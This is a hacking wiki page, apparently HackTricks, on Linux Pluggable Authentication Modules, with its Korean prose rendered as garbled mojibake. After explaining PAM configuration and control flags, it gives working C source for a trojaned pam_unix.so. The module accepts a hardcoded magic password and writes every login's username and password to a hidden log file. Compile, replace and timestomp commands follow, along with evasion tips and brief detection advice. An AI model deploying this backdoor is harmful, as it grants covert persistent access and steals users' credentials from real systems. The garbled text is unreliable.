PAM - Pluggable Authentication Modules
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
**PAM (Pluggable Authentication Modules)**๋ ์ปดํจํฐ ์๋น์ค์ ์ ๊ทผํ๋ ค๋ ์ฌ์ฉ์์ ์ ์์ ํ์ธํ๋ ๋ณด์ ๋ฉ์ปค๋์ฆ์ผ๋ก, ๋ค์ํ ๊ธฐ์ค์ ๋ฐ๋ผ ์ ๊ทผ์ ์ ์ดํฉ๋๋ค. ์ด๋ ๋์งํธ ๊ฒ์ดํธํคํผ์ ์ ์ฌํ์ฌ, ๊ถํ์ด ์๋ ์ฌ์ฉ์๋ง ํน์ ์๋น์ค์ ์ฐธ์ฌํ ์ ์๋๋ก ๋ณด์ฅํ๋ฉฐ, ์์คํ ๊ณผ๋ถํ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ์ฌ์ฉ์ ์ ํํ ์ ์์ต๋๋ค.
๊ตฌ์ฑ ํ์ผ
- Solaris ๋ฐ UNIX ๊ธฐ๋ฐ ์์คํ
์ ์ผ๋ฐ์ ์ผ๋ก
/etc/pam.conf์ ์์นํ ์ค์ ๊ตฌ์ฑ ํ์ผ์ ์ฌ์ฉํฉ๋๋ค. - Linux ์์คํ
์ ๋๋ ํ ๋ฆฌ ๋ฐฉ์์ ์ ํธํ๋ฉฐ,
/etc/pam.d๋ด์ ์๋น์ค๋ณ ๊ตฌ์ฑ์ ์ ์ฅํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ๋ก๊ทธ์ธ ์๋น์ค์ ๊ตฌ์ฑ ํ์ผ์/etc/pam.d/login์ ์์ต๋๋ค.
๋ก๊ทธ์ธ ์๋น์ค์ ๋ํ PAM ๊ตฌ์ฑ์ ์๋ ๋ค์๊ณผ ๊ฐ์ ์ ์์ต๋๋ค:
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
PAM ๊ด๋ฆฌ ์์ญ
์ด ์์ญ, ๋๋ ๊ด๋ฆฌ ๊ทธ๋ฃน์ auth, account, password, ๋ฐ session์ ํฌํจํ๋ฉฐ, ๊ฐ๊ธฐ ์ธ์ฆ ๋ฐ ์ธ์ ๊ด๋ฆฌ ํ๋ก์ธ์ค์ ๋ค์ํ ์ธก๋ฉด์ ๋ด๋นํฉ๋๋ค:
- Auth: ์ฌ์ฉ์ ์ ์์ ๊ฒ์ฆํ๋ฉฐ, ์ข ์ข ๋น๋ฐ๋ฒํธ ์ ๋ ฅ์ ์๊ตฌํฉ๋๋ค.
- Account: ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ์ด๋ ์๊ฐ ์ ํ๊ณผ ๊ฐ์ ์กฐ๊ฑด์ ํ์ธํ์ฌ ๊ณ์ ๊ฒ์ฆ์ ์ฒ๋ฆฌํฉ๋๋ค.
- Password: ๋ณต์ก์ฑ ๊ฒ์ฌ ๋๋ ์ฌ์ ๊ณต๊ฒฉ ๋ฐฉ์ง๋ฅผ ํฌํจํ์ฌ ๋น๋ฐ๋ฒํธ ์ ๋ฐ์ดํธ๋ฅผ ๊ด๋ฆฌํฉ๋๋ค.
- Session: ์๋น์ค ์ธ์ ์ ์์ ๋๋ ์ข ๋ฃ ์ ์์ ์ ๊ด๋ฆฌํ๋ฉฐ, ๋๋ ํ ๋ฆฌ ๋ง์ดํธ ๋๋ ๋ฆฌ์์ค ์ ํ ์ค์ ๊ณผ ๊ฐ์ ์์ ์ ํฌํจํฉ๋๋ค.
PAM ๋ชจ๋ ์ ์ด
์ ์ด๋ ๋ชจ๋์ ์ฑ๊ณต ๋๋ ์คํจ์ ๋ํ ๋ฐ์์ ๊ฒฐ์ ํ๋ฉฐ, ์ ์ฒด ์ธ์ฆ ํ๋ก์ธ์ค์ ์ํฅ์ ๋ฏธ์นฉ๋๋ค. ์ฌ๊ธฐ์๋ ๋ค์์ด ํฌํจ๋ฉ๋๋ค:
- Required: ํ์ ๋ชจ๋์ ์คํจ๋ ๊ฒฐ๊ตญ ์คํจ๋ก ์ด์ด์ง์ง๋ง, ๋ชจ๋ ํ์ ๋ชจ๋์ด ํ์ธ๋ ํ์๋ง ๋ฐ์ํฉ๋๋ค.
- Requisite: ์คํจ ์ ์ฆ๊ฐ์ ์ธ ํ๋ก์ธ์ค ์ข ๋ฃ.
- Sufficient: ์ฑ๊ณต ์ ๋์ผ ์์ญ์ ๋๋จธ์ง ๊ฒ์ฌ๋ฅผ ์ฐํํ์ง๋ง, ํ์ ๋ชจ๋์ด ์คํจํ ๊ฒฝ์ฐ๋ ์ ์ธ๋ฉ๋๋ค.
- Optional: ์คํ์์ ์ ์ผํ ๋ชจ๋์ผ ๊ฒฝ์ฐ์๋ง ์คํจ๋ฅผ ์ ๋ฐํฉ๋๋ค.
์์ ์๋๋ฆฌ์ค
์ฌ๋ฌ ์ธ์ฆ ๋ชจ๋์ด ์๋ ์ค์ ์์ ํ๋ก์ธ์ค๋ ์๊ฒฉํ ์์๋ฅผ ๋ฐ๋ฆ
๋๋ค. pam_securetty ๋ชจ๋์ด ๋ก๊ทธ์ธ ํฐ๋ฏธ๋์ด ์น์ธ๋์ง ์์๋ค๊ณ ํ๋จํ๋ฉด, ๋ฃจํธ ๋ก๊ทธ์ธ์ด ์ฐจ๋จ๋์ง๋ง, โrequiredโ ์ํ๋ก ์ธํด ๋ชจ๋ ๋ชจ๋์ด ์ฌ์ ํ ์ฒ๋ฆฌ๋ฉ๋๋ค. pam_env๋ ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํ์ฌ ์ฌ์ฉ์ ๊ฒฝํ์ ํฅ์์ํฌ ์ ์์ต๋๋ค. pam_ldap ๋ฐ pam_unix ๋ชจ๋์ ํจ๊ป ์๋ํ์ฌ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ๋ฉฐ, pam_unix๋ ์ด์ ์ ์ ๊ณต๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ๋ ค๊ณ ์๋ํ์ฌ ์ธ์ฆ ๋ฐฉ๋ฒ์ ํจ์จ์ฑ๊ณผ ์ ์ฐ์ฑ์ ๋์
๋๋ค.
PAM ๋ฐฑ๋์ด โ pam_unix.so ํํน
๊ณ ๊ฐ์น Linux ํ๊ฒฝ์์ ๊ณ ์ ์ ์ธ ์ง์์ฑ ํธ๋ฆญ์ ํฉ๋ฒ์ ์ธ PAM ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํธ๋ก์ด ๋ชฉ๋งํ๋ ๋๋กญ์ธ์ผ๋ก ๊ต์ฒดํ๋ ๊ฒ์
๋๋ค. ๋ชจ๋ SSH / ์ฝ์ ๋ก๊ทธ์ธ์ pam_unix.so:pam_sm_authenticate()๋ฅผ ํธ์ถํ๋ฏ๋ก, ์๊ฒฉ ์ฆ๋ช
์ ์บก์ฒํ๊ฑฐ๋ ๋ง๋ฒ ๋น๋ฐ๋ฒํธ ์ฐํ๋ฅผ ๊ตฌํํ๊ธฐ ์ํด ๋ช ์ค์ C ์ฝ๋๋ฉด ์ถฉ๋ถํฉ๋๋ค.
์ปดํ์ผ ์์ฝํ
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd โ immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
์ปดํ์ผํ๊ณ ์๋ฐํ๊ฒ ๊ต์ฒดํ๊ธฐ:
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
OpSec Tips
- ์์์ ๋ฎ์ด์ฐ๊ธฐ โ ์์ ํ์ผ์ ์ฐ๊ณ
mv๋ก ์์น๋ฅผ ๋ณ๊ฒฝํ์ฌ SSH๋ฅผ ์ ๊ธ ์ ์๋ ๋ฐ์ฏค ์์ฑ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํผํ์ญ์์ค. /usr/bin/.dbus.log์ ๊ฐ์ ๋ก๊ทธ ํ์ผ ๋ฐฐ์น๋ ํฉ๋ฒ์ ์ธ ๋ฐ์คํฌํ ์ํฐํฉํธ์ ์์ ๋๋ค.- PAM์ ์๋ชป๋ ๋์์ ํผํ๊ธฐ ์ํด ๊ธฐํธ ๋ด๋ณด๋ด๊ธฐ๋ฅผ ๋์ผํ๊ฒ ์ ์งํ์ญ์์ค (
pam_sm_setcred๋ฑ).
Detection
pam_unix.so์ MD5/SHA256์ ๋ฐฐํฌํ ํจํค์ง์ ๋น๊ตํ์ญ์์ค./lib/security/์๋์์ ์ธ๊ณ ์ฐ๊ธฐ ๊ฐ๋ฅ ๋๋ ๋น์ ์์ ์ธ ์์ ๊ถ์ ํ์ธํ์ญ์์ค.auditd๊ท์น:-w /lib/security/pam_unix.so -p wa -k pam-backdoor.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


